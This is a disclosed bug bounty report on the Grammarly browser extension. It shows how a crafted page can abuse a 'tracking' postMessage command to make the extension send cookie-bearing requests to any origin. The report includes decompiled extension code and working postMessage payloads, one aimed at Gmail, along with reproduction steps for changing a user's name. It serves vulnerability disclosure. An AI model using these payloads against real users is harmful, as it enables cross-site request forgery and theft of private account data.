Superhuman (formerly Grammarly) · Report #389108
Handling of `tracking` command allows making arbitrary blind requests with user's cookies from Grammarly Extension's origin
How it was found
Summary:
Attacker could trigger Grammarly extension's gnar._fetch command using a crafted page to perform XHR with cookies and any configurational params to any cross-origin resource.
Description:
Page could Init Grammarly popup editor [no user gesture, helper]
Events have isTrusted property, which allows to determinate, whether current event is trusted(initiated by user). Grammarly popup editor could be initiated by page.
As I understood: injected content script could successfully emit events to background page only if popup was initiated earlier. That means, attacker needs to initiate the popup somehow to communicate with background page through injected content script.
Not sure about the root cause of this behavior. Probably, because popup is created by background page origin, that's why background page becomes accessible after this.
Sending commands to Grammarly content script
Active page could send commands to injected Grammarly content script using window.postMessage.
Command structure:
window.postMessage({
grammarly: true,
action: 'tracking',
method: 'gnar._fetch',
props: {}
params: {}
}, "*")
Commands handling in injected content script
Grammarly content script "parses" commands using this snippet:
function Z(e) {
var t, n = e.action;
...
"tracking" === n && e.method && g.call(e.method, e.param, e.props)
...
}
tracking commands are later passed to this snippet:
f.emitBackground("tracking-call", {
msg: e, // command's "method" field
data: t // command's "props" + "params" fields
}, s)
This f.emitBackground sends event to background page.
Commands handling in extension's background page
The extension uses next snippet to handle tracking commands from content script:
function w(e, t) { // t = params + props
var n, a = o(e.split("."), 2), // a = command's "method" field splitted by dot into array
c = a[0],
s = a[1];
if ("gnar" === c)
if (p.tracker.gnar)
if ("track" === s) {
var u = o(t, 2),
l = u[0], //
f = u[1];
p.tracker.gnar.track(r({
eventName: g.gnarAppName + "/" + l // something not discovered yet
}, f))
} else
p.tracker.gnar[s] ? (n = p.tracker.gnar)[s].apply(n, i(t)) : b.error(
"gnar client does not have method '" + s + "' for '" +
e + "' in runMessage");
else b.error("gnar client not available for '" + e + "' in runMessage");
else b.error("unrecognized'" + e + "' in runMessage ")
}
p.tracker.gnar
That's an object with next structure:
{
_batchId: 8,
_client: "chromeExt",
_clientVersion: "14.858.1756",
_containerIdManager: t {primaryStorage: t, secondaryStorages: Array(3), _logger: t, _metric: e, _cacheSuccessTimeoutMillis: 1000, …},
_eventsUrl: "https://gnar.grammarly.com/events",
_fetch: ƒ (),
_instanceId: "nxIwqgPE",
_isTest: false,
_isUserReady: true,
_liteUrl: "https://gnar.grammarly.com/lite",
_logger: t {name: "gnar", level: 2, context: e, appender: ƒ},
_metric: t {name: "gnar", timersSink: ƒ, countersSink: ƒ, _fetch: ƒ, _sendTimeout: 7500, …},
_queue: [],
_storePingTimestamp: true,
_userId: "701014151
}
Additionally, it has a set of methods.
I guess
p.tracker.gnarcontrols reporting telemetry events to Grammarly.
Attacker-controllable function call
p.tracker.gnar[s] ? (n = p.tracker.gnar)[s].apply(n, i(t))
s = that's the second part of command's "method" field. E.g. "method": "hello.grammarly" -> s = 'grammarly'
t = params and props
This snippet could be rewritten as:
GNAR[methodsMethod].apply(GNAR, toArray(paramsAndProps))
p.tracker.gnars .constructor and methods
p.tracker.gnar object could be overwritten using .constructor and .setUser methods those allow changing some p.tracker.gnar properties.
p.tracker.gnars .constructor
function e(e, t, n, r, o, i, c, s) { // Attacker controls e and t params + non-listed params using `setUser`
void 0 === s && (s = !1),
this._client = t,
this._clientVersion = n,
this._fetch = r,
this._containerIdManager = o,
this._logger = i,
this._metric = c,
this._storePingTimestamp = s,
this._instanceId = a.alphanumeric(8),
this._batchId = 0,
this._isUserReady = !1,
this._queue = [],
this._eventsUrl = e + "/events",
this._liteUrl = e + "/lite",
this._pingMaybe()
}
gnar.setUser/gnar._execQueue / gnar._send / gnar._doSend / gnar._enqueue
p.tracker.gnar has a set of interesting methods like setUser. Grammarly extension uses setUser to invalidate session.
a["session-invalidate"] = function (e, t, n, r, o) {
...
s.call("gnar.setUser", i, c)
...
}
I'm not sure, but looks like calling this method with crafted payload may lead to incorrect userId in telemetry.
Team probably should know how much powerful listed above funcstions are.
_fetch
p.tracker.gnar has _fetch property which points to fetch function.
More interesting is that, it's a polyfill, not a native function.
I guess this polyfill isn't compliable to WHATWG fetch, because it allows making requests to
data:/chrome-extension:/origins.
That means, it's possible to call fetch() with attacker's params from the extension.
p.tracker.gnar_fetch.apply(p.tracker.gnar, ["FetchURL", "FetchParams"])
Page has to call window.postMessage with next object to call fetch from the extension
x = window.top.postMessage({
grammarly: true,
action: 'tracking',
method: 'gnar._fetch',
props: { // FetchParams
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
},
param: 'https://mail.google.com/mail/u/0/#inbox' // <FetchURL>
}, "*")
XHR + cookies
Grammarly extension has permissions to access all URLs and cookies from all origins. Grammarly makes all XHR requests with cookies -> it's possible for attacker to make blind requests with cookies to any origin.
(except
chrome://, however,chrome-extension://is allowed because of polyfill forfetch).
More details in "Impact" section.
Browsers Verified In:
Chrome 70.0.3508.0 Canary Chrome 68.0.3440.75 Stable Grammarly: 14.858.1756
Steps To Reproduce:
Change user's name in Grammarly
- Open
app-grammarly-csfr.html - Page makes request to
https://auth.grammarly.com/v3/userto change your name to "Anonymous User"
GET Gmail as proof
- Open Grammarly extension debug page in Chrome
- Open
get-request-to-gmail.html - Open "Network" tab in the debug page
- Note that extension made a GET request to Gmail (with cookies)
- Open request preview
- Note that request includes your gmail content
- That means, it's possible to initiate requests with cookies to any origin. Web applications without "direct CSRF protection" (e.g.
hiddenfield with some value, not token in cookies ) are controllable by attacker.
Supporting Material/References:
- Screencast for POST to
https://auth.grammarly.com/v3/user. [1st PoC] - Screencast to prove that Grammarly makes requests with cookies to cross-origin domains. [2nd PoC]
I didn't know a good CSRF target, so I've recorded a second screencast with Gmail and GET request. I think that's enough to prove the vulnerability.
Impact
Universal CSRF
Actually, "Universal CSRF" isn't a correct definition 😉. But I think it correctly expresses impact of the vulnerability.
Attacker could trigger Grammarly extension's gnar._fetch command using crafted page to perform XHR with any configurational params to any origin [without user gesture].
Web applications without good protection against CSRF (hidden field in form, not cookies/origin check/etc.) are vulnerable to CSRF.
Page could made any number of blind requests through Grammarly extension with cookies.
Overwrite p.tracker.gnar and call any method of this object
p.tracker.gnar has a set of interesting methods like setUser. Grammarly extension uses setUser to invalidate session.
I assume, calling this methods leads to sending invalid telemetry data to Grammarly.
Possible UXSS via data manipulation
Attacker could overwrite p.tracker.gnar with arbitrary data. However, postMessage doesn't allow to send non-clonable objects.
Attacker could call something like:
AnythingClonable.apply(Object, [AnythingClonable])
I didn't test this with
File/Blob/FileListnon-clonnable objects. However, I think it's not possible to turn the snippet above into XSS.
P.S: Grammarly, sorry for typos/mistakes if any. Your extension has some bugs at
hackerone.comdomain.